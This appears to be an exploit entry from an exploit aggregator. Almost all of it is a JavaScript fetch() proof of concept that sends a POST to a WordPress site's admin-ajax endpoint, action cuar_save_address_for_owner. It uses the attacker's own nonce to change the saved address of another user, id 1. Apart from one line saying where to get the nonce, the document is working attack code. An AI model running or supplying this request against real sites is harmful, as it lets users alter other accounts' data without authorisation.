Share
## https://sploitus.com/exploit?id=WPEX-ID:9DEBE1EA-18AD-44C4-8078-68EB66D36C4A
You may get the nonce from *your* save address form
fetch("https://example.com/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded; charset=UTF-8",
},
"body": 'action=cuar_save_address_for_owner&cuar_nonce=a73a7eab3b&owner[type]=usr&owner[ids][]=1&address_id=home_address&address[name]=hohohohoh',
"method": "POST",
"mode": "cors",
"credentials": "include"
})
.then((response) => {
return response.text();
})
.then((data) => {
console.log(data);
});